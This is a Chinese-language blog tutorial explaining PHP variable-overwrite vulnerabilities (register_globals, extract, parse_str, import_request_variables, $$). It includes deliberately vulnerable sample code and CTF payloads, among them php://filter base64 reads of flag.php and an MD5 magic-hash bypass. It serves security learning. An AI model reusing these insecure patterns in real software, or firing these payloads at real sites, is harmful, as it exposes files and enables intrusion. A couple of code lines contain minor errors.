PHP中的变量覆盖漏洞

前言

护网面试被问到是否了解到php中哪些函数或者因素会导致变量覆盖漏洞,当时回答的不完全,今天就 复习了一下这个知识点,然后顺手做下个人的笔记,希望能帮助到大家一起进步

变量覆盖漏洞介绍

变量覆盖就是通过外部输入将某个变量的值给覆盖掉。 将自定义的参数值替换掉原有变量值的情况就是变量覆盖漏洞。

变量覆盖的函数

常见的可导致变量覆盖的函数或者因素有:

● register_globals
● extract()
● parse_str()
● mb_parse_str()
● import_request_variables()
● $$

1、register_globals

register_globals是php.ini里的一个配置,这个配置影响到php如何接收传递过来的参数.

register_globals的值可以设置为:On或者Off

当register_globals的值设置为ON时,传递过来的值会被直接注册为全局变量而使用,这会造成全局变量覆盖

在PHP5.3之前 默认开启 PHP5.3默认关闭 PHP5.6及5.7已经被移除

测试环境:php-5.2.17+Aapache

<?php
$taco=1;

if($taco=2)
{
    echo "flag{yes}";
}
?>

$taco==2时就可以输出flag{yes},但是在前面定义变量$taco时的值时1,想要输出flag,就要修改$taco的值为2

因为register_globals的值设置为ON,所以可以利用全局变量覆盖来修改$taco的值,在访问该文件时,GET方式传给$taco=2,就可达到变量覆盖

2、extract()函数变量覆盖

PHP extract()函数用于将数组中的变量导入到当前的符号表中。 它需要一个关联数组数组,并将键作为变量名和值作为变量值。

对于每个键/值对,它将在当前符号表中创建一个变量,受到extract_typeprefix参数的限制。

语法:
extract($array, $extract_type, $prefix)

例如:

<?php
extract($_GET);  
​
echo $name.'<br>';
echo $age.'<br>';
echo $id.'<br>';
?>

当以GET方式传入?name=tacoking&age=21&id=123456时,输出的结果就是$name=tacoking;$age=22;$id=123456

这是name、age、id作为变量名,传进来的值作为了它们的变量值

CTF中extract()导致的变量覆盖

<?php
$flag='flag.php';
extract($_GET);  
​
if(isset($test1))
{
 $test2=file_get_contents($flag);
    
if($test1==$test2)
{
    echo'flag{yes}';
}
else
{
   die();
}
}
?>

分析是要求GET传参进去值会经过extract()函数 ,然后有两个if 第一个if判断$test1这个变量是否存在 ,存在则继续执行第二个if里面的

使用file_get_contents()读取flag变量里面的文件的内容传递给$test2变量 ,之后 再进行判断传进来$test1变量的值等不等于$test2如果等于则打印出flag

因为通过extract()函数传进的值会变成一个变量 例如GET传入?test1=0 则会存在$test1=0

payload:

?test1=&flag=

3、parse_str()变量覆盖

定义和用法

parse_str() 函数把查询字符串解析到变量中。

注释:如果未设置 array 参数,由该函数设置的变量将覆盖已存在的同名变量。

注释:php.ini 文件中的 magic_quotes_gpc 设置影响该函数的输出。如果已启用,那么在 parse_str() 解析之前,变量会被 addslashes() 转换。

语法:
parse_str(*string,array*)

请看下面的两段代码分析:

<?php
$name="lihua";
$age=18;
echo $name;
echo $age;"<br>";
?>

这段代码很简单明显输出的是name=lihua,age=18

但是下面那个添加了parse_str()函数后,输出的就是name=tacoking,age=21了

是因为parse_str()函数里未设置 array 参数,由该函数设置的变量将覆盖已存在的同名变量,所以之前变量name跟age的值就被覆盖掉了

<?php
header("Content-Type:text/html;charset=UTF-8");
​
$name="lihua";
$age=18;
echo "覆盖前name=".$name."<br>";
echo "覆盖前age=".$age."<br>";
echo "<br>";
parse_str("name=tacoking&age=21");
echo "覆盖后name=".$name."<br>";
echo "覆盖后age=".$age;
?>

CTF中parse_str()导致的变量覆盖
<?php
error_reporting(0);
$flag=$_GET['flag'];
//flag in flag.php
if (empty($_GET['id'])) {
   show_source(__FILE__);
   die();
} else {
    $a = "tacoking";
    $id = $_GET['id'];
    @parse_str($id);  //
 if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
       include($flag);
  } else {
      exit("no no");
  }
}
?> 

分析代码 判断GET传入的id值是否为空,为空的话输出源码终止程序,否则的话则接收id值 经过parse_str(), 然后if判断 $a[0] 的值要不等于QNKCDZO,而且$a[0]的md5值要等于QNKCDZO,如果条件满足的话就会包含flag.php

思路:

$a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO') 这里可以采用Hash比较缺陷来解决

include($flag)的话可以利用php伪协议读取flag内容

接 下来就是传入变量覆盖$a[0]的值 ,因为有parse_str()函数

所以可以构造payload:

?id=a[0]=s878926199a&flag=php://filter/read=convert.base64-encode/resource=flag.php

ZmxhZ3t5ZXN9经过base64解码后flag{yes},成功读取到flag

4、mb_parse_str()

mb_parse_str()PHP 中的函数用于解析 GET、POST 和 COOKIE 数据并设置全局变量。它解析 URL 编码的数据并检测编码。之后,它转换内部编码中的编码并设置全局变量的值。PHP 7 或更高版本支持此功能。

语法:
string mb_parse_str($str_string, $array_result)
参数:

mb_parse_str() 接受以下两个参数 -

  • $str_string - 此参数用于 URL 编码数据。

  • $result -结果参数将是一个包含解密和字符加密转换值的数组。

返回值:

mb_parse_str()函数在成功时返回 True 或在失败时返回 False。如果解析成功,则返回True,否则返回False。

mb_parse_str()函数和parse_str()类似,此不做累赘,感兴趣的可自行研究。

5.、import_request_variables()

(PHP 4 >= 4.1.0, PHP 5 < 5.4.0)

mport_request_variables — 将 GET/POST/Cookie 变量导入到全局作用域中

将 GET/POST/Cookie 变量导入到全局作用域中。如果禁止了 register_globals,但又想用到一些全局变量,那么此函数就很有用。

语法:
import_request_variables ( string $types [, string $prefix ] ) : bool
CTF中import_request_variables()导致的变量覆盖
<?php
$str='test';
$flag=$_POST['flag'];
//flag in flag.php
import_request_variables('gp'); //导入get和post中变量
​
if($str=="tacoking"){
    include $flag;
}else{
    echo "NO!";
}
?> 

定义一个变量$str='test',$flag等于post传进来的值,然后设置import_request_variables('gp'),导入get和post中变量,如果str==tacoking的话就会包含$flag,这里可以使用php伪协议来读取flag.php内容

payload:

GET传:str=tacoking
POST传:flag=php://filter/read=convert.base64-encode/resource=flag.php

ZmxhZ3t5ZXN9经过base64解码后flag{yes},成功读取到flag

6、$$动态变量覆盖

PHP动态变量是指一个变量名的变量名可以动态的设置和使用,一个变量获取另一个变量的值作为这个变量的变量名。

如:

<?php
$bar= "a";
$Foo="Bar";
$World="Foo";
$Hello="world";
$a="Hello";
​
echo $a; //hello
echo $$a; //world
echo $$$a; //foo
echo $$$$$a; //Bar
echo $$$$$$a; //a
echo $$$$$$$a; //hello
echo $$$$$$$$a; //world
?> 
CTF中$$导致的变量覆盖

$$ 是最经典的变量覆盖,导致的变量覆盖问题在CTF代码审计题目中经常在foreach中出现

下面的题解引用了其他师傅的文章

https://www.cnblogs.com/xhds/p/12586928.html

如以下的示例代码,使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。

因此就产生了变量覆盖漏洞。请求?name=test 会将$name的值覆盖,变为test。

<?php
$name='thinking';
foreach ($_GET as $key => $value)
​
  $$key = $value;   //这里进行了覆盖 $$key传入的值是name 传入进入成为$name 所以造成了name外部的变量被覆盖
​
  var_dump($key);
  var_dump($value);
  var_dump($$key);
​
echo $name;
​
//?name=test
//output:string(4) “name”
//string(4) “test”
//string(4) “test”
//test

  • 2
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

tacokings

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值